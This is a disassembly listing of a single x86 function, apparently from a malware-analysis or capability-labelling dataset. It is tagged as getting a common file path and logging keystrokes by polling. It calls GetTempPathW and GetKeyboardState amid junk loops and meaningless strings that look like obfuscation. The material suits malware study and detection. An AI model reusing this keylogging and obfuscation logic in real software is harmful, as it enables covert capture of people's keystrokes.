Function at 0x1002bb26
Capabilities:
Get common file path
Log keystrokes via polling

Disassembly:
mov eax, 0x10063c24
call fcn.10062638
sub esp, 0x80
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x18], dl
je 0x1002bc1f
cmp byte [ebp + 8], 0
je 0x1002bc15
mov dword [ebp - 0x38], 0x3ec4
xor ebx, ebx
cmp dword [ebp - 0x38], 0x4243
jle 0x1002bbd6
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov eax, esi
mov dword [ebp - 0x30], ebx
cdq
idiv edi
mov edi, edx
mov esi, ebx
mov ebx, dword [ebp - 0x30]
mov eax, ebx
mov ecx, 0x1007e2d8
cdq
idiv esi
or edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.10004c4e
inc esi
cmp esi, 0x145
jl 0x1002bb7e
inc ebx
push 0
mov dword [ebp - 0x30], ebx
cmp ebx, 0x4540
pop ebx
jl 0x1002bb79
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x38d2
jl 0x1002bb6f
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x5d10
jl 0x1002bb6a
push ebx
push 0x594
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x38], 0x3d37
jge 0x1002bbf1
mov edx, str.lfbrxe_mfsrhez_prut_phqjag_hlmprahlf_omezxketa_wjpwwocq
mov ecx, 0x1007e2d8
call fcn.1000714a
mov eax, dword [ebp + 0x18]
inc dword [eax]
jmp 0x1002c014
mov eax, dword [ebp + 0x10]
dec dword [eax]
jmp 0x1002c014
test dl, dl
je 0x1002bc30
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1002c014
mov eax, dword [ebp + 0x14]
xor dl, dl
mov dword [ebp - 0x50], ecx
mov ecx, 0x57fd
push 0x2fcc
mov dword [ebp - 0x3c], eax
call fcn.1002988f
pop ecx
push 4
pop eax
mov dword [ebp - 0x8c], eax
xor ebx, ebx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x20], 0xa473eb90
mov dword [ebp - 0x30], 0xb92
cmp dword [ebp - 0x30], 0xc23
jle 0x1002bcbd
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0x7849
mov edi, ebx
mov ebx, dword [ebp - 0x38]
mov eax, ebx
mov ecx, 0x1007e2d8
or eax, edi
cdq
push edx
push eax
call fcn.10004c4e
inc edi
cmp edi, 0x7976
jl 0x1002bc8d
add ebx, esi
dec dword [ebp - 0x34]
push 0
mov dword [ebp - 0x38], ebx
pop ebx
jne 0x1002bc88
inc esi
cmp esi, 0x7570
jl 0x1002bc7e
mov dword [ebp - 4], 2
cmp dword [ebp - 0x30], 0x84b
jge 0x1002bcdc
mov edx, str.hmeetlm_gphvh_pfuffg_dxr_ltqr_rydsj_ldt_yyrvmxog_xpqtvrtv_mtdwcj
mov ecx, 0x1007e2d8
call fcn.1000714a
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x11]
mov byte [ebp - 0x11], bl
push eax
mov edx, 0x79c8
xor cl, cl
call fcn.1002b85d
mov dword [ebp - 0x20], ebx
jmp 0x1002bd40
lea eax, [ebp - 0x12]
mov byte [ebp - 0x12], bl
push eax
push 0x3607
xor dl, dl
mov ecx, 0x3a7e
call fcn.10029aaa
mov eax, dword [ebp - 0x20]
pop ecx
mov eax, dword [ebp + eax*4 - 0x8c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
pop ecx
jle 0x1002bd1a
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 0x3c]
mov edx, 0x5321
mov al, byte [eax]
mov byte [ebp + 0xf], al
lea eax, [ebp + 0xf]
push eax
push ebx
push 0x482d
call fcn.1002983b
add esp, 0xc
mov dword [ebp - 0x30], ebx
mov edi, ebx
cmp edi, 1
jae 0x1002c00c
mov dword [ebp - 0x1c], 0xb5052061
mov dword [ebp - 0x24], 0xde0980db
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x2c], 0x7924a04c
cmp dword [ebp - 0x1c], ebx
je 0x1002bd9d
xor eax, eax
inc eax
jmp 0x1002bd9f
mov eax, ebx
cmp eax, 0xcb4e76ab
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
test eax, eax
mov eax, dword [ebp - 0x1c]
setg cl
sub esi, ecx
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, esi
setge dl
add eax, edx
xor edx, edx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 3
test eax, eax
je 0x1002be2d
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0xffffffff
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x48], 0xfffffff9
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x24]
call fcn.1002a2b4
add esp, 0x18
jmp 0x1002bebb
push 2
lea ecx, [ebp - 0x7c]
call fcn.10004f00
lea eax, [ebp - 0x7c]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.1002da9b
pop ecx
pop ecx
mov dword [ebp - 0x24], ebx
jmp 0x1002be9a
push 3
lea ecx, [ebp - 0x70]
call fcn.10004f00
push ecx
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x70]
call fcn.1002996c
lea eax, [ebp - 0x2c]
mov edx, 0x4647
push eax
push 0x7994
lea eax, [ebp - 0x70]
push eax
push 0x6d17
call fcn.1002c197
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.10004f62
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 5
jge 0x1002be52
lea eax, [ebp - 0x28]
xor cl, cl
push eax
lea edx, [ebp - 0x7c]
call fcn.10029a96
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x7c]
call fcn.10004f62
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xffffffef
je 0x1002bf6e
push 6
pop esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], ebx
jmp 0x1002bedd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x64], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002bed3
mov dword [ebp - 0x20], ebx
jmp 0x1002bef6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x4c], 0xfffffffb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1002bee8
mov eax, dword [ebp - 0x64]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, 0xf9ab13fd
setg dl
add edx, esi
cmp eax, edx
mov eax, dword [ebp - 0x60]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
mov ecx, 0xffff
sete dl
sub ecx, eax
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp eax, edx
jne 0x1002bf45
cmp dword [ebp - 0x64], ebx
jne 0x1002bf45
mov eax, ebx
jmp 0x1002bf48
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setg dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffef
jne 0x1002becb
mov dword [ebp - 0x38], 0x4d39
cmp dword [ebp - 0x38], 0x4ef9
jle 0x1002bfab
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x1007e2d8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10004c4e
inc edi
cmp edi, 0x1ae9
jl 0x1002bf82
inc esi
cmp esi, 0x6064
jl 0x1002bf80
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x3c]
mov dl, 0x8b
mov cl, byte [edi + esi]
call fcn.10032614
mov dword [ebp - 4], 6
cmp dword [ebp - 0x38], 0x4bda
mov byte [edi + esi], al
jge 0x1002bfda
mov edx, str.wefowuf_cnywr_jqndknd_posieo_bjew_kphwnhy_rlgwojvyw_jzv_vqplqm
mov ecx, 0x1007e2d8
call fcn.1000714a
or dword [ebp - 4], 0xffffffff
inc edi
mov dword [ebp - 0x30], edi
jmp 0x1002bd6e
mov eax, dword [ebp - 0x50]
mov cl, byte [ebp + 0xf]
mov byte [eax], cl
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret